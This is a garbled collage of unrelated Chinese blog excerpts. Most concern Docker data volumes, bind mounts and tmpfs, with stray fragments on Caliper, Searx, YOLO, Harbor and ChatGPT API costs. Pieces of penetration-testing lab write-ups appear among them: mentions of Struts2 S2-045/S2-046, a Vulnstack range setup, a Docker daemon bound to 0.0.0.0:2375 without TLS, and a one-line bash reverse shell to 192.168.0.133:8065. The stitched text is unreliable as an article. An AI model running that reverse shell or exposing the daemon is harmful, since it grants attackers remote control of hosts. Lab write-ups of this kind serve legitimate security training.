在Linux上运行的Docker有三种不同的方式将数据从 Docker Host挂载到 Docker 容器,并实现数据的读取和存储:volumes、bind mounts、tmpfs。
前段时间花了一段时间来研究Hyperledger Caliper的原理以及使用方式,研究的时候正处于Caliper改动较大的时候,因此也踩了不少的坑,也发现了一些问题,同时也加深了对这个项目的认识,在这里进行一下整理和归纳,以便大家能够更好地使用Caliper。
提前先安装配置好 Ubuntu server 14.04.5 参考资料:Ubuntu 16.04 Server 版安装过程图文详解
针对上述的缺点,有些数据,例如数据库文件,我们不应该将其保存在镜像或者容器的可写层中。Docker 提供三种不同的方式将数据从 Docker 主机挂载到容器中,分别为卷( volumes),绑定挂载( bind mounts),临时文件系统( tmpfs)。很多时候, volumes 总是正确的选择。
This will download and start a GitLab container and publish ports needed to access SSH, HTTP and HTTPS. All GitLab data will be stored as subdirectories of GITLAB_HOME. The container will automatically restart after a system reboot. (译:所有 GitLab 的数据都会被存储到宿主机 GITLAB_HOME 的子目录中)
1 Docker Hub1.1 简介和登陆Docker Hub是Docker官方维护的一个公共仓库;注册网址为: https://hub.docker.com;图片注册账号以后可以使用docker login进行登陆:图片图片使用docker logout进行退出。图片1.2 拉取镜像使用docker search查找镜像;noamanelson@noamanelson-Virtual-Machine:~$ docker search ubuntuNAME
百科说:Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux 机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。
Docker 是一个应用程序开发、部署、运行的平台,使用 go 语言开发。相较于传统的主机虚拟化,Docker 提供了轻量级的应用隔离方案,并且为我们提供了应用程序快速扩容、缩容的能力。
这里直接使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞
我们在使用 docker 的时候会将一些数据(例如网站文件、配置文件、数据库文件等)存储在容器中。这样存在一个严重的问题,如果容器出现损坏(例如无法启动,被删除等)那么存储在容器中的数据就会丢失,即使我们进行了容器备份,数据也不可能恢复到故障发生时。如果要解决这个问题,我们就需要用到 docker 的数据管理。在 docker 中数据管理一共有两种方式,分别是数据卷和数据卷容器,下面我们来一一讲解。
数据卷是一个可供一个或多个容器使用的特殊目录,它绕过UFS,可以提供很多有用的特性:
目前官网的标价是:每1,000 token 收费0.002 美元,约为 750 个单字。但是目前 API 不会记得你的 conversation 内容,也就是说,openapi 是没有 context 信息的。如果你希望 chatgpt 足够智能,能够像网页版本一样跟你产生真正有上下文的对话,那么你每次调用API 时,都必须叠加上之前的对话内容,而文字越多,花费的token 就越多。所以token 的花费会是指数型增加。
更多参数设置可以参考https://github.com/asciimoo/searx/wiki/settings.yml。
说明:现在百毒各种犀利操作导致很多人都转向了谷歌,不过由于谷歌在国内被墙,对一些人来说访问起来是有点困难的,除了挂梯子以外,反代谷歌也可以,很久前就发过这种教程→传送门,不过最近找到了个好项目Searx,一个基于Python的完全开源免费搜索引擎平台,为你提供来自Google、Bing、Yahoo等70多种各大视频、图片、搜索、磁力等网站结果展示,并对搜索结果进行优化,同时不会存储你的任何搜索信息,搭建也很方便,有兴趣的可以搭建给需要谷歌的同事或朋友用下。
数据卷 ( Data Volumes ) 是一个可供容器使用的特殊目录,它将主机操作系统目录直接映射进容器,类似于 Linux 中的 mount 行为 。
直接在项目templates目录下添加400.html、403.html、404.html、500.html,其他什么都不用管。
YOLO 算法是非常著名的目标检测算法。从其全称 You Only Look Once: Unified, Real-Time Object Detection ,可以看出它的特性:
Singularity 运行容器的时候默认会使用当前用户来运行容器,但是对于有些由于安全问题必须使用root来运行的容器,默认就是root了,对于这种情况,可以通过 --security 来指定用户来运行容器。
docker作为一种虚拟化的手段,它会传统虚拟机是类似的,也拥有和宿主机共享文件夹(文件)的手段,就是docker容器数据卷。这样你就可以在宿主机上进行代码编辑,然后docker里面运行它们。命令如下:
{% note modern info %}这里的路径是你自己证书放的地方{% endnote %}
本文是对官方文档的总结与备注。 官方文档:https://docs.docker.com/develop/ 根据官方文档的层次,分为 容器 (Containers) 使用 Docker run 服务 (Services) 使用 Docker Compose Defines how containers behave in production 服务栈 (Stack) 使用 Swarm mode Defining the interactions of all the services 必须知道
因为没有linux实体机,先在本地pc的虚拟机上安装,用的最新的ubuntu版本;
本文节选择《Netkiller Virtualization 手札》Docker 卷管理 1.5. 卷管理 1.5.1. 列出卷 docker volume ls # docker volume ls DRIVER VOLUME NAME local dbac41b6de88c75d2932d5949367b17f347f482977d508195375dbc71518ab27 1.5.2. 创建卷 # docker volume create -
docker stop/start container-id 停止/启动指定 id 的容器
在前面我们详细学习了docker的三大核心概念:镜像、容器和仓库,接下来开始学习如何管理数据。在实际工作中使用docker,往往需要对数据进行持久化,或者需要在多个容器之间进行数据共享,此时必然会使用到容器数据管理的各种操作。
原创文章,转载请务必将下面这段话置于文章开头处。 本文转发自:字母哥博客,原文链接 http://www.zimug.com/463.html
云服务已经成长为一个技术绕不过去的既成事实,仓库的管理、数据的应用、管理和安全,容器间的通信,充分的学习这些技术,是实现微服务的基础。
容器由最上面一个可写的容器层 + 若干只读的镜像层组成,容器的数据就存放在这些层中。
Harbor是VMware公司最近开源的企业级Docker Registry项目(https://github.com/vmware/harbor) 。其目标是帮助用户迅速搭建一个企业级的Docker registry服务。它提供了管理UI, 基于角色的访问控制(Role Based Access Control),AD/LDAP集成、以及审计日志(Audit logging) 等企业用户需求的功能,同时还原生支持中文。Harbor的每个组件都是以Docker容器的形式构建的,使用Docker Compose来对它进行部署。
其他参考 https://blog.csdn.net/styshoo/article/details/55657714
这一章介绍如何在 Docker 内部以及容器之间管理数据,在容器中管理数据主要有两种方式:
本文介绍如何在 Docker 内部以及容器之间管理数据,在容器中管理数据主要有两种方式:
这里我在另一台ubuntu(192.168.0.129)上上传frp并开启服务端进行演示
docker的理念之一就是将应用和运行的环境打包,因此docker容器的生存周期通常都是与在容器中运行的程序相同的,而我们对数据的要求是持久化,docker容器之间也需要一个共享数据的渠道。这些需求就催生了docker数据卷的诞生。
准备 要在每一台服务器上安装Docker 相关的安装过程可以参考 Docker 基础 关键是要使用如下配置启动服务 [root@h104 ~]# docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock WARN[0000] /!\ DON'T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON'T KNOW WHAT YOU'RE DOING /!\ INFO
Docker 是基于容器技术实现的,由于 Docker 的火热流行,可能很多人会认为容器是 Docker 独有的技术。
环境 环境地址如下: http://39.98.79.56/vuln/detail/6/ 接下来下载好后在VmWare中进行ovf导入即可,共计三个文件 📷 接下来配置网络环境,在虚拟网络编辑器中添加两个网段 1、192.168.1.0 NAT模式 用于外网 2、192.168.183.0 仅主机模式 用于内网 📷 接下来给三个虚拟机以及攻击机(kali)进行分配 DC: VMet8(192.168.183.130) Web(Ubuntu): VMet4、VMet8(192.168.1.130、192.16
Goby:bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1'
Docker启动Redis容器,步骤很简单,和启动mysql容器是一样的:Docker启动mysql。不过有个点需要注意,这里提醒一下:
TensorFlow Serving是google提供的一种生产环境部署方案,一般来说在做算法训练后,都会导出一个模型,在应用中直接使用。
PS:如果通过docker的方式直接拉取haproxy和keepalived镜像,比直接在镜像里面安装应用方便很多,建议各位老铁尽量避免在容器内安装应用,这样真心麻烦不爽,别人封装的镜像根据pull的量好好看看api就可以使用了。像h1如果容器stop后,重新start,还需要进入容器把keeplived给起起来。而h2直接start里面的haproxy和keeplived,同时都起起来了。 两个容器的采用的热备的方案,让用户毫无感知,切换ip的形式真是美滋滋。mysql集群的高性能,高负载,高可用基本完成了,可用按照这个思路搭建不同的主机下。
红图,顾名思义 - Redprint。 蓝图是模块级别的拆分,它不是设计来让你拆分试图函数的。要实现比模块级别下更具体的视图函数的拆分,例如在用Flask制作REST API时版本号下根据不同业务对象的函数拆分时,我们就需要自定义一个跟蓝图功能相同的模块。在这里,为了体现它跟蓝图的异曲同工之妙,我们将它命名为红图!
数据是应用程序重要的产出,所以很好的管理和存储数据,是对应用程序劳动结果的尊重。特别是在大数据时代,所有的数据都是重要的资产,保护好数据是每个开发者必须掌握的技能。我们知道,在 Docker 里,容器运行的文件系统处于沙盒环境中,与外界其实是隔离的,那么我们又要如何在 Docker 中合理的通过文件与外界进行数据交换呢?在这一小节中,我们就来介绍 Docker 中与文件数据有关的内容。
在上一节《记一次基础的Vulnstack渗透经验分享》中,我们简单的对vulnstack 1的靶场环境做了一次测试,通过外网初探、信息收集、攻入内网最终拿下域控,整个流程算是比较顺利,毕竟这个靶场环境比较基础。如今,vulnstack系列的内网渗透靶场已经发布了六个,在本节中,我们将对vulnstack 4这个靶场进行渗透测试。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
在Docker中,容器的数据读写默认发生在容器的存储层,当容器被删除时其上的数据将会丢失。要想实现数据的持久化,需要将数据从宿主机挂载到容器中。目前Docker提供了三种方式将数据从宿主机挂载到容器中。
数据卷是一个可供一个或多个容器使用的特殊目录,它绕过UFS,可以提供很多有用的特性:
我这里直接使用swoole简单模拟搭建一个直播的HTTP服务,前提是你的php安装了swoole扩展(server.php)
Docker的镜像是由一系列的只读层组合而来的,当启动一个容器时,Docker加载镜像的所有只读层,并在最上层加入一个读写层。这个设计使得Docker可以提高镜像构建、存储和分发的效率,节省了时间和存储空间,然而也存在如下问题:
Docker 是虚拟机吗?Docker 底层用了哪些关键技术?容器逃逸逃的是什么?
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